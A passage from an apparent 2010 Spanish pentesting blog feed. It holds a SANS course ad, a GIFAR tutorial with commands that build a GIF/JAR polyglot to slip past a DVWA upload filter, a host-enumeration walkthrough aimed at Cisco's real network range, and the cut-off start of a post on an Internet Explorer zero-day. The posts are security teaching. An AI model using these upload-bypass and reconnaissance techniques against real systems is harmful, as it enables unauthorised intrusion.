justify;"&gt;El instructor, todo un &lt;a href="http://www.sans.org/madrid-2010-cs/faculty.php#iid151"&gt;Instructor Certificado del SANS Institute&lt;/a&gt; con experiencia impartiendo cursos de SANS por toda Europa, y de las pocas personas del mundo que pueden presumir de ostentar el certificado &lt;a href="http://www.giac.org/certifications/gse.php"&gt;GSE (GIAC Security Expert)&lt;/a&gt;, el certificado de más alto nivel de SANS Institute/GIAC: &lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;a href="http://www.raulsiles.com/"&gt;Raúl Siles&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;, Analista de Seguridad Senior y Co-Fundador de &lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;a href="http://www.taddong.com/"&gt;Taddong&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;, una nueva empresa de seguridad que está empezando a ofrecer diversos tipos de servicios de seguridad de alta especialización técnica. Todo eso aquí en Madrid, solo para nosotros y en Español (con los materiales en Inglés). Un auténtico lujo.&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.taddong.com/"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65s-APUrtI/AAAAAAAAAVM/EaohTbKmXEY/s400/Imagen+2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5453416011264208594" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 400px; height: 100px; " /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En cuanto al curso, &lt;a href="http://www.sans.org/security-training/web-app-penetration-testing-and-ethical-hacking-942-mid"&gt;exactamente el mismo&lt;/a&gt; al que asistiríamos si viajáramos a Londres, Munich, Dublín o cualquier otro de los destinos habituales de las Conferencias del SANS Institute.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Durante estos 6 días, el curso tocará los diferentes tipos de técnicas y vulnerabilidades que podemos encontrar en aplicaciones web, y la manera de explotarlas, tanto en el lado servidor como en el lado cliente, algo muchas veces olvidado pero que representa uno de los vectores de ataque más sencillos para los atacantes. A esto le añadimos, no solo todo tipo de técnicas para explotar vulnerabilidades en aplicaciones web, sino también todas las técnicas de pentesting sobre el servicio web, como puedan ser debilidades en SSL, descubrimiento de Hosts Virtuales y un largo etcetera.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Todo esto junto, perfectamente organizado, práctico y con ejemplos al más puro estilo SANS Institute, con un instructor de auténtico lujo y con clases en Español. Muy muy MUY recomendable.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A fin de cuentas... ¿quién de los presentes no tiene en su empresa una (o mil) aplicaciones web expuestas a Internet que no pueden protegerse mediante cortafuegos u otras técnicas habituales? Si a eso le juntamos que las aplicaciones web son generalmente software realizado a medida que, en muchas ocasiones, no pasan los controles y auditorías necesarias antes de su paso a producción (y mi experiencia como Pentester es prueba de ello), eso convierte la seguridad en aplicaciones web en una disciplina imprescindible para cualquier empresa. Si no dominas este tema, esta es tu oportunidad. ¡No la dejes pasar!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2343293563071502581?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/web-app-penetration-testing-and-ethical.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S65pkf6jKQI/AAAAAAAAAVE/AtQPtGachXY/s72-c/sanslogo_block.jpg" height="72" width="72" /></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7129674302948855390</guid><pubDate>Mon, 29 Mar 2010 05:47:00 +0000</pubDate><atom:updated>2010-03-29T11:04:11.285+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">Esteganografia</category><title>GIFAR otro  "steganography trick"</title><description>&lt;div style="text-align: justify;"&gt;Hace cosa de unos meses a través de &lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt; descubrí una &lt;a href="http://lifehacker.com/software/privacy/geek-to-live--hide-data-in-files-with-easy-steganography-tools-230915.php"&gt;técnica esteganográfica&lt;/a&gt; de nombre GIFAR y que fue &lt;a href="http://www.blackhat.com/presentations/bh-jp-08/bh-jp-08-McFeters/BH_US_08_Mcfeters_Carter_Heasman_Extreme_Client-Side_Exploitation.pdf"&gt;presentado en las BlackHat US 2008&lt;/a&gt;. Esta técnica fue expuesta por "Billy  Rios, Nathan McFeters, Rob Carter, and John Heasman" y consiste en &lt;a href="http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/"&gt;juntar un fichero GIF y un fichero JAR&lt;/a&gt;. Por regla general todos los formatos de imagen poseen  la cabecera que  los identifica al principio del fichero ("GIF87a" o "GIF89a" para el caso de GIF) por este motivo las aplicaciones empieza por el principio para validar si es una imagen; por contra las aplicaciones que tratan ficheros JAR empiezan por el final. Si nos encontramos ante una auditoria donde tenemos una funcionalidad de upload de ficheros aplicaremos esta técnica para subir contenido GIFAR; la aplicación realizará sus comprobaciones y verá que es una imagen bien formada o un pdf (PDFAR) bien formado etc. Como regalito habremos podido subir un fichero JAR y por tanto haber pasado las comprobaciones de la aplicación.&lt;br /&gt;&lt;br /&gt;Después de tanto rollo vamos a crear un simple prueba de concepto. Lo primero construiremos un simple fichero JAVA que realiza un alert de las cookie's:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S5_8rAbB7yI/AAAAAAAAAWY/5iX7inNPfw4/s1600-h/01.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 150px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S5_8rAbB7yI/AAAAAAAAAWY/5iX7inNPfw4/s400/01.PNG" alt="" id="BLOGGER_PHOTO_ID_5449351889919536930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ahora lo vamos a compilar y crear nuestro GIFAR con unos comando rápidos:&lt;br /&gt;&lt;br /&gt;# javac holamundo.java&lt;br /&gt;# jar -cf holamundo.jar holamundo.class&lt;br /&gt;# cat gifjar.gif holamundo.jar &gt; gifjar2.gif&lt;br /&gt;&lt;br /&gt;Si ahora vemos el fichero resultante con el visor de imágenes de Windows (por ejemplo):&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ywZ68m8Vt3A/S5__1YmLkhI/AAAAAAAAAWo/76RZT-idesg/s1600-h/02.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://2.bp.blogspot.com/_ywZ68m8Vt3A/S5__1YmLkhI/AAAAAAAAAWo/76RZT-idesg/s400/02.PNG" alt="" id="BLOGGER_PHOTO_ID_5449355366742331922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Como vemos tenemos un fichero que es una imagen válida. Ahora vamos a subirla a una aplicación web e invocaremos el fichero de imagen para ver qué pasa. Para la prueba subimos el fichero a DVWA mediante la funcionalidad de Upload:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6ABLZvwT-I/AAAAAAAAAWw/LsdRJsLjX6g/s1600-h/03.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6ABLZvwT-I/AAAAAAAAAWw/LsdRJsLjX6g/s400/03.PNG" alt="" id="BLOGGER_PHOTO_ID_5449356844519673826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El fichero subido lo podremos ver en la url "http://192.168.72.133/webapp/dvwa/hackable/uploads/gifjar2.gif". Ahora construimos una página Web para poder invocar esta imagen como applet:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S6ACHgWUJSI/AAAAAAAAAW4/w3VIIRL-Nps/s1600-h/04.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 93px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S6ACHgWUJSI/AAAAAAAAAW4/w3VIIRL-Nps/s400/04.PNG" alt="" id="BLOGGER_PHOTO_ID_5449357877084169506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Si visitamos la página web poniendo como archive la imagen, vemos que se ejecuta:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6ADEpjDNqI/AAAAAAAAAXI/234Yu02s3WQ/s1600-h/05.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S6ADEpjDNqI/AAAAAAAAAXI/234Yu02s3WQ/s400/05.PNG" alt="" id="BLOGGER_PHOTO_ID_5449358927525525154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Debe quedar claro que lo importante de la imagen anterior es que existe la posibilidad de invocar la imagen como un applet y esto funciona; no siendo relevante que se muestre la cookie en los mostrado anteriormente.&lt;br /&gt;&lt;br /&gt;Llegados a este punto, uno se pone a pensar cómo podría realmente ser explotado por parte de un atacante esta técnica. Para esto haremos referencia al libro "&lt;a href="http://www.amazon.com/Hacking-Next-Generation-Animal-Guide/dp/0596154577"&gt;Hacking: the next generation&lt;/a&gt;" donde uno de los autores es Billy Rios (os suena ... :P). En el libro  se expone una manera "cuanto menos" curiosa para explotar este trick. Os lo resumo a continuación, pero para más información mejor que leáis el libro porque merece la pena:&lt;br /&gt;&lt;br /&gt;1. Subimos un PDFAR (PDF + JAR) a una aplicación que permite upload de ficheros PDF (en la PoC del libro utilizan docs.google.com).&lt;br /&gt;&lt;br /&gt;2. Una vez subido compartimos el fichero con el resto de usuarios de la aplicación. Puede darse el caso que la aplicación tengo también dentro de su dominio una funcionalidad de traducción (en la PoC del libro utilizando translate.google.com). Con esto podemos aprovecharnos y enviar un enlace a las víctimas con una página web de fuera del dominio de la aplicación pero que al ser servida por la funcionalidad de traducción, la página maliciosa ya se ejecuta en el contexto de la aplicación a atacar.&lt;br /&gt;&lt;br /&gt;Espero que podáis probar el trick en vuestra auditorías :).&lt;br /&gt;&lt;br /&gt;¿Qué otras maneras se os ocurre de aprovechar este "steganograpy trick"?&lt;br /&gt;¿Qué otros tricks de este tipo utilizáis?&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-7129674302948855390?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/03/gifar-otro-steganograpy-trick.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S5_8rAbB7yI/AAAAAAAAAWY/5iX7inNPfw4/s72-c/01.PNG" height="72" width="72" /><thr:total>15</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2230108726295401193</guid><pubDate>Mon, 22 Mar 2010 06:27:00 +0000</pubDate><atom:updated>2010-03-22T07:27:34.526+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>WebSearch: Encuentra Hosts Virtuales</title><description>&lt;div style="text-align: justify;"&gt;En muchas ocasiones, cuando realizamos un test de intrusión, nos encontramos con la dificultad de tener que auditar servidores web con múltiples virtual hosts con sus respectivas páginas web. Es importante conocer cuantos más virtual hosts de la máquina mejor, puesto que las probabilidades de encontrar algún fallo en la aplicación web que nos permita "empezar nuestra magia" aumentan cuantas más webs encontremos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para encontrar estos virtual hosts, así como más dominios diferentes pero pertenecientes a una misma empresa, me hice hace tiempo un script en Pyhton llamado &lt;b&gt;&lt;a href="http://tools.pentester.es/websearch"&gt;WebSearch&lt;/a&gt;&lt;/b&gt;, al que se le puede pasar un rango de IPs y consulta con Bing IP a IP para obtener los virtual hosts de la máquina.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Evidentemente, esta aproximación no es perfecta, puesto que un host virtual que no es enlazado desde ningún sitio nunca va a ser encontrado, pero en general una web se pone ahí para que alguien la vea, así que vamos a obtener unos resultados aceptables.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La herramienta la hemos dejado en &lt;a href="http://tools.pentester.es/"&gt;nuestro (mini) repositorio de herramientas&lt;/a&gt;, con el nombre de &lt;a href="http://tools.pentester.es/websearch"&gt;WebSearch&lt;/a&gt;. Si veis la &lt;a href="http://tools.pentester.es/"&gt;web principal del repositorio&lt;/a&gt;, veréis que hay otra herramienta en Perl que hice hace tiempo (y de la que &lt;a href="http://www.pentester.es/2009/06/targetsearch-v01.html"&gt;ya hablamos&lt;/a&gt; en &lt;a href="http://www.pentester.es/2009/06/targetsearch-v02.html"&gt;un par de ocasiones&lt;/a&gt;) para encontrar hosts llamada &lt;a href="http://tools.pentester.es/targetsearch"&gt;TargetSearch&lt;/a&gt;. Podéis usarla también si queréis en combinación con WebSearch, pero os aviso ya de que la tengo en proceso de mejora y de migración a Python, osea que es posible que en poco tiempo retire esa herramienta y publique la nueva.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bueno, pues ahora que ya están hechas las presentaciones (WebSearch - Lectores de Pentester, Lectores de Pentester - WebSearch) vamos con un pequeño ejemplo práctico:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Imaginaos que estamos haciendo un Pentest y nos dicen el nombre de la empresa: &lt;b&gt;Cisco&lt;/b&gt;. Cisco tiene varios dominios y rangos de red, pero por simplicidad vamos a coger uno, por ejemplo &lt;b&gt;cisco.net&lt;/b&gt; .Ahora que ya tenemos un dominio a por el que ir, vamos a mirar en que IP está su web principal http://www.cisco.net ,y a partir de ahí vamos a sacar la red, que es lo que necesitamos para empezar a jugar con WebSearch:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;# host www.cisco.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco.net is an alias for redirect.cisco.com.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;redirect.cisco.com has address &lt;/i&gt;&lt;b&gt;&lt;i&gt;198.133.219.23&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# whois 198.133.219.23&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;OrgName:    Cisco Systems, Inc.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;NetRange:   &lt;/i&gt;&lt;b&gt;&lt;i&gt;198.133.219.0 - 198.133.219.255&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno, pues parece que ya tenemos nuestra primera red perteneciente a Cisco, la comprendida entre 198.133.219.0 y 198.133.219.255 .Ahora solo tenemos que llamar a WebSearch con esta información para que nos empiece a sacar las webs, hosts por host:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# ./WebSearch.py 198.133.219.0-198.133.219.255&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.0 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.1 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.2 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.3 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.4 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.5 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.6 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.7 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.8 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.9 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.10 (2)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;fed.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;supportforums.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;learningnetwork.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Searching hostnames for: 198.133.219.11 (0)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La salida es muy larga (y más lo será cuantas más webs y más grande sea el rango), así que la truncamos solo para que se pueda ver que nos irá comprobando IP por IP y nos irá mostrando las webs de cada IP. Al número entre paréntesis no le hagáis mucho caso, es la cantidad de entradas en la caché que hay, pero no tiene nada que ver con el número de hosts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La información referente a los hosts que se están chequeando sale por la salida de error, así que tenedlo en cuenta si queréis volcarlo a un fichero. Si por contra lo que queréis es solo una lista de webs ordenada para empezar a jugar, podéis hacer algo así:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;# ./WebSearch.py 198.133.219.0-198.133.219.255 2&gt;/dev/null | sort | uniq&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ardentcom.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;c1.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;cio.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;cisco-al.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;cisco-ar.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;cisco-co.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;conft.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;contact1.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;developer.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;download-sj.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;edelivery.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;fed.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;fsx.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ftp-sj.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;hp.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ihomealliance.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;investor.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;learningnetwork.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;netsolve.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;netsystech.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;networkingacademies.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;newsroom.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;supportforums.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;szone.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;thurisa.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;trailhead-sj.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.builtforbroadband.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.c-i-s-c-o.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cciemachine.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-de.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-id.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-la.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-ma.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-mi.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-secure.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco-wy.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco.biz&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.cisco.sh&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscobenefits.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscoconnects.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscofield.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscointernethome.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscopark.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscopro.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosecure.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosecurity.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosistemi.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosistemi.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosistemi.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscostadium.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosysteme.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosystems.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscosystemsnetwork.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ciscotechnologyinc.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.dagazcomm.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.ieng.net&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.iq-magazine.org&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.netimpactstudy.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.onbusinessnetwork.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.sentientsupport.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.summa4.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;www.unity-net.com&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podeis ver, hemos obtenido un montón de webs y de dominios nuevos asociados a Cisco que podemos utilizar para intentar penetrar a través de ellos en los sistemas. Al ser webs / dominios no principales, probablemente estarán menos securizados que los principales, ya sabeis, la puerta principal suele estar "bien" asegurada, pero igual le pegamos una pedrada a una ventana y por ahí nos colamos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por el momento la herramienta solo la he usado yo y algunos amigos de este mundillo, así que está en un estado "beta", si alguien detecta fallos por favor que me lo notifique por correo electrónico.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Espero que os guste la herramienta y que la encontréis de utilidad.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A disfrutarla!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2230108726295401193?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/03/websearch-encuentra-hosts-virtuales.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2481155340448238903</guid><pubDate>Mon, 15 Mar 2010 06:24:00 +0000</pubDate><atom:updated>2010-03-16T18:50:50.094+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">Exploiting</category><title>IEPeers 0-Day: Explotando (otra vez) Internet Explorer</title><description>&lt;div style="text-align: justify;"&gt;Hace unos días, el pasado día 9 de Marzo, &lt;a href="http://www.microsoft.com/technet/security/advisory/981374.mspx"&gt;Microsoft publicó un Advisory&lt;/a&gt; que nos comunicaba la existencia de una &lt;b&gt;Vulnerabilidad Zero Day en Internet Explorer 6 y 7, &lt;/b&gt;sin parche disponible, que podría ser explotada para &lt;b&gt;ejecutar código de forma remota&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dicha vulnerabilidad &lt;a href="http://www.symantec.com/connect/blogs/zero-day-attack-ie6-jssykipot-doesn-t-spare-retired-software"&gt;ha sido ya utilizada&lt;/a&gt; para la propagación de malware a través de Internet. El &lt;a href="http://www.rec-sec.com/exploits/ie_iepeers_wild.txt"&gt;exploit utilizado&lt;/a&gt; ha sido obtenido y analizado, y &lt;a href="http://www.metasploit.com/modules/exploit/windows/browser/ie_iepeers_pointer"&gt;ya ha sido portado a Metasploit&lt;/a&gt;, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que &lt;a href="http://www.pentester.es/2010/01/aurora-zero-day-internet-explorer.html"&gt;ya hablamos en su momento&lt;/a&gt; en &lt;a href="http://www.pentester.es/2010/01/aurora-elevacion-de-privilegios.html"&gt;un par de ocasiones&lt;/a&gt;. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 